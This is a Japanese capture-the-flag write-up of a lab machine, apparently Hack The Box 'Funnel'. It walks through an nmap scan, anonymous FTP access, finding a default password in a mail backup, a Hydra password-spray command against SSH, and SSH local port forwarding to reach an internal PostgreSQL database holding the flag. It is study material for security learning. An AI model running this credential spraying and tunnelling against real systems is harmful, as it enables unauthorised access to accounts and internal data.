偵察
S [10.10.14.27] /home/mukailabhtb3 > nmap -sV -sC 10.129.228.195
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2025-07-01 02:04 CDT
Nmap scan report for 10.129.228.195
Host is up (0.077s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.27
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Nov 28 2022 mail_backup
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 4.56 seconds
トンネリングについて
↑取り敢えず今回の攻略に関係ありそうな知識だったので・・・
勉強してみる・・・
取り敢えず今回のボックスの大まかな流れとしては、外部ネットワークから直接アクセスできない内部ネットワーク上のリソース(今回の場合はPostgreSQLデータベース)に対し、SSHトンネリングという技術を用いてアクセス。
┌──(root㉿kali)-[~]
└─# ftp 10.129.228.195
Connected to 10.129.228.195.
220 (vsFTPd 3.0.3)
Name (10.129.228.195:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
相変わらず匿名ログイン有効だったのでログイン。
色々資料を見てみたら、今回はローカル・ポートフォワーディングを使っている。
「自分のPC」から「踏み台サーバーの先にある直接アクセスできないサーバー」へ通信を届けたいときに使っている。
後々やることだが、自分のPCの1234
番ポートにアクセスすると、SSHトンネルがそれを5432
番ポートようの通信に変換して届けてくれる。変換自体はローカル内で行われる。ざっくりいうと、Webサイトでいうリダイレクトをポートでも出来るということである。
┌──(root㉿kali)-[~]
└─# ftp 10.129.228.195
Connected to 10.129.228.195.
220 (vsFTPd 3.0.3)
Name (10.129.228.195:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||39286|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Nov 28 2022 mail_backup
226 Directory send OK.
ftp> cd mail_backup
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||63503|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 58899 Nov 28 2022 password_policy.pdf
-rw-r--r-- 1 ftp ftp 713 Nov 28 2022 welcome_28112022
226 Directory send OK.
ftp> get password_policy.pdf
local: password_policy.pdf remote: password_policy.pdf
229 Entering Extended Passive Mode (|||24603|)
150 Opening BINARY mode data connection for password_policy.pdf (58899 bytes).
100% |******************************************************************************************************************************************************************************************************************| 58899 95.69 KiB/s 00:00 ETA226 Transfer complete.
58899 bytes received in 00:00 (65.97 KiB/s)
ftp>
ftp> get welcome_28112022
local: welcome_28112022 remote: welcome_28112022
229 Entering Extended Passive Mode (|||31609|)
150 Opening BINARY mode data connection for welcome_28112022 (713 bytes).
100% |******************************************************************************************************************************************************************************************************************| 713 9.71 MiB/s 00:00 ETA226 Transfer complete.
713 bytes received in 00:00 (2.26 KiB/s)
ftp> eixt
?Invalid command.
ftp> exit
221 Goodbye.
事前に確認したmail_backup
フォルダからいかにも機密情報ですよーってファイルがあるのでget
コマンドでダウンロード
┌──(root㉿kali)-[~]
└─# ls
gobuster hydra.restore password_policy.pdf welcome_28112022
┌──(root㉿kali)-[~]
└─# cat welcome_28112022
Frome: root@funnel.htb
To: optimus@funnel.htb albert@funnel.htb andreas@funnel.htb christine@funnel.htb maria@funnel.htb
Subject:Welcome to the team!
Hello everyone,
We would like to welcome you to our team.
We think you’ll be a great asset to the "Funnel" team and want to make sure you get settled in as smoothly as possible.
We have set up your accounts that you will need to access our internal infrastracture. Please, read through the attached password policy with extreme care.
All the steps mentioned there should be completed as soon as possible. If you have any questions or concerns feel free to reach directly to your manager.
We hope that you will have an amazing time with us,
The funnel team.
┌──(root㉿kali)-[~]
└─# open .
ここで電子メールの内容らしきものやパスワードポリシーの具体的内容を閲覧する。
open .
で今いるディレクトリをエクスプローラーで観ることが出来る。
ここでデフォルトのパスワードはfunnel123#!#
だから早く変更してよ!!
と書いてある。
funnel
チーム内のユーザーの中でデフォルトのパスワードのままにしているユーザーをハッキングするべきだと攻撃の方針が定まる。
今からパスワードスプレー攻撃をする。
ログを間違えて消してしまいたが、打ち込んだコマンドはこれです...。
sudo apt-get install hydra
hydra -L usernames.txt -p 'funnel123#!#' {targetIP} ssh
username.txtには攻撃対象のユーザーを1行1行改行しながら列挙しました。
ものの数秒でchristine:funnel123#!#
という組み合わせて有効だと分かりました。
┌──(root㉿kali)-[~]
└─# ssh christine@10.129.207.117
christine@10.129.207.117's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
* Documentation: <https://help.ubuntu.com>
* Management: <https://landscape.canonical.com>
* Support: <https://ubuntu.com/advantage>
System information as of Thu 10 Jul 2025 02:04:04 AM UTC
System load: 0.05
Usage of /: 63.2% of 4.78GB
Memory usage: 12%
Swap usage: 0%
Processes: 164
Users logged in: 0
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.129.207.117
IPv6 address for ens160: dead:beef::250:56ff:fe94:7dbb
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
<https://ubuntu.com/engage/secure-kubernetes-at-the-edge>
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to <https://changelogs.ubuntu.com/meta-release-lts>. Check your Internet connection or proxy settings
christine@funnel:~$
とこんな感じでログインすることができました。
sshポートフォワーディングについてはこちらの記事がわかりやすかったです。
今回のコマンド例
ssh -L 1234:localhost:5432 christine@{targerIP}
これは、「自分のPCの1234番ポートへの通信を、christineサーバー(踏み台)を経由して、christineサーバー自身の5432番ポートへ転送してくれ」という意味
ss -tln
でポートの通信状態を確認することが出来る。
ソケットの状態なども確認することが出来る。
christine@funnel:~$ ss -tl
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:domain 0.0.0.0:*
LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:postgresql 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:45571 0.0.0.0:*
LISTEN 0 32 *:ftp *:*
LISTEN 0 128 [::]:ssh [::]:*
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
* Documentation: <https://help.ubuntu.com>
* Management: <https://landscape.canonical.com>
* Support: <https://ubuntu.com/advantage>
System information as of Thu 10 Jul 2025 02:19:39 AM UTC
System load: 0.0
Usage of /: 63.2% of 4.78GB
Memory usage: 13%
Swap usage: 0%
Processes: 162
Users logged in: 1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.129.207.117
IPv6 address for ens160: dead:beef::250:56ff:fe94:7dbb
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
<https://ubuntu.com/engage/secure-kubernetes-at-the-edge>
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to <https://changelogs.ubuntu.com/meta-release-lts>. Check your Internet connection or proxy settings
Last login: Thu Jul 10 02:17:46 2025 from 10.129.207.117
接続先のポートをpostgreSQLのサビースがやってる5432
番に指定した。
ここでターミナルを2つ用意する。
1つはトンネル経路を保持するもの、もう一つはpostgreSQLでリモート接続するもの。
psql -U christine -h localhost -p 1234
リモートのデータベースにログインできたので、\\l
コマンドで見てみる。
データベ
ース一覧
名前 | 所有者 | エンコーディング | ロケールプロバイダー | 照合順
序 | Ctype(変換演算子) | ロケール | ICUルール: | アクセス権限
-----------+-----------+------------------+----------------------+------------+-------------------+----------+------------+-------------------------
christine | christine | UTF8 | libc | en_US.utf8 | en_US.utf8 | | |
postgres | christine | UTF8 | libc | en_US.utf8 | en_US.utf8 | | |
secrets | christine | UTF8 | libc | en_US.utf8 | en_US.utf8 | | |
template0 | christine | UTF8 | libc | en_US.utf8 | en_US.utf8 | | | =c/christine +
| | | | | | | | christine=CTc/christine
template1 | christine | UTF8 | libc | en_US.utf8 | en_US.utf8 | | | =c/christine +
| | | | | | | | christine=CTc/christine
(5 行)
:
christine-# \\c secrets
psql (17.5 (Debian 17.5-1)、サーバー 15.1 (Debian 15.1-1.pgdg110+1))
データベース"secrets"にユーザー"christine"として接続しました。
secrets-# \\dt
リレーション一覧
スキーマ | 名前 | タイプ | 所有者
----------+------+----------+-----------
public | flag | テーブル | christine
(1 行)
ちなみにpostgreSQLはlessというページャを使っている。
操作方法である。
q
キーで脱出可能である。
あとは
secrets=# SELECT * FROM flag;
参考文献(参照日2025年7月4日)
・公式Writeup